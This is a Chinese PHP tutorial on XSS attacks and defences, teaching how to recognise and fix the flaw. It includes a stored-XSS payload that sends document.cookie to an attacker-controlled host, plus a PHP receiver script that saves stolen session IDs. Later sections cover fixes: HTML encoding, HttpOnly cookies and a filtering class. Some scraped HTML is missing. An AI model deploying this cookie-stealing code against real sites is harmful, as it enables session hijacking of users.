php xss 实例,XSS攻防实例

这篇是继上篇XSS跨站脚本攻击的后篇

1、XSS攻击实例分析

例1、简单XSS攻击

留言类,简单注入javascript

有个表单域:

1、假若用户填写数据为:(或者)

2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库

3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

例2、盗取cookie

2、test88.com中的表单,xss.html

xss攻击

留言:

留言记录:

3、恶意攻击者插入相应代码

xss攻击

留言:


留言记录:

3、恶意攻击者插入相应代码

var Str=document.cookie; //获取cookie

var a =document.createElement('a'); //创建a标签

a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机

a.innerHTML="aa.jpg"; //掩护图片

document.body.appendChild(a); //将标签添加到页面中

4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie

header("content-type:text/html;charset=utf8");

echo "你的PHPSESSID被盗啦";

echo "

";

print_r($_GET);

echo "

";

$cookie=$_GET['PHPSESSID'];

file_put_contents('./xss.txt', $cookie);

?>

开始模拟测试

1、test88.com中设置生成sessionID代码

session_start();

$_SESSION['xss']='xssssss';

echo "

";

print_r($_SESSION);

echo "

";die;

?>

2、客户端访问上面代码并生成自己的sessionID

6e58db0ac308

image

3、客户端访问xss.html

下面为模拟被攻击后取出数据的xss.html代码(显示数据)

xss攻击

留言:


留言记录:

var Str=document.cookie; //获取cookie

var a =document.createElement('a'); //创建a标签

a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机

a.innerHTML="aa.jpg"; //掩护图片

document.body.appendChild(a); //将标签添加到页面中

6e58db0ac308

image

4、客户端不小心点击到图片,sessionID将被盗

6e58db0ac308

image

vi xss.txt

6e58db0ac308

image

【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】

2、XSS漏洞修复

从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。

1、html实体

什么是html实体?

在html中有些字符,像(

html实体的存在是导致XSS漏洞的主要原因之一。

因此我们需要将这些实体全部转换为相应的实体编号。

6e58db0ac308

20190210181822389.jpg

2、HTML Encode

用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。

在PHP中已经存在这样子功能的函数,即是htmlentities($str)函数。

与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。

3、修复漏洞方针

【不相应用户提交的数据,过滤过滤过滤!】

1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。

4、对数据进行Html Encode 处理

5、过滤或移除特殊的Html标签, 例如:

6、过滤JavaScript 事件的标签。例如 "οnclick=", "onfocus" 等等。

【特别注意:】

在有些应用中是允许html标签出现的,甚至是javascript代码出现。因此我们在过滤数据的时候需要仔细分析哪些数据是有特殊要求(例如输出需要html代码、javascript代码拼接、或者此表单直接允许使用等等),然后区别处理!

4、PHP中的相应函数

【详细看PHP手册】

这里可能不全,想了解更多的看手册。

strip_tags($str, [允许标签]) #从字符串中去除 HTML 和 PHP 标记

htmlentities($str)函数 #转义html实体

html_entity_decode($str)函数 #反转义html实体

addcslashes($str, ‘字符’)函数 #给某些字符加上反斜杠

stripcslashes($str)函数 #去掉反斜杠

addslashes ($str )函数 #单引号、双引号、反斜线与 NULL加反斜杠

stripslashes($str)函数 #去掉反斜杠

htmlspecialchars() #特殊字符转换为HTML实体

htmlspecialchars_decode() #将特殊的 HTML 实体转换回普通字符

5、数据过滤类

<?php

class XSS

{

/**

* @desc 过滤数据

*

* @param $data string|array 输入数据

* @param $low bool 是否采用更为严格的过滤

*

* @return 返回过滤的数据

*/

public function clean_xss($data, $low = False)

{

#字符串过滤

if (! is_array ( $data ))

{

$data = trim ( $data ); #字符两边的处理

$data = strip_tags ( $data ); #从字符串中去除 HTML 和 PHP 标记

$data = htmlspecialchars ( $data ); #特殊字符转换为HTML实体

if ($low)

{

return $data;

}

#匹配换空格

$data = str_replace ( array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $data );

$no = '/%0[0-8bcef]/';

$data = preg_replace ( $no, '', $data );

$no = '/%1[0-9a-f]/';

$data = preg_replace ( $no, '', $data );

$no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';

$data = preg_replace ( $no, '', $data );

return $data;

}

#数组过滤

$arr=array();

foreach ($data as $k => $v)

{

$temp=$this->clean_xss($v);

$arr[$k]=$temp;

}

return $arr;

}

}

#测试测试

session_start();

$_SESSION['xss']='xssss';

$xss=new XSS();

#测试字符串

$str = "";

echo $str;

$str2=$xss->clean_xss($str);

echo $str2;

echo "


";

#测试数组

$arr=array("","","");

echo "

";

print_r($arr);

echo "

";

$arr2=$xss->clean_xss($arr);

echo "

";

print_r($arr2);

echo "

";die;

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值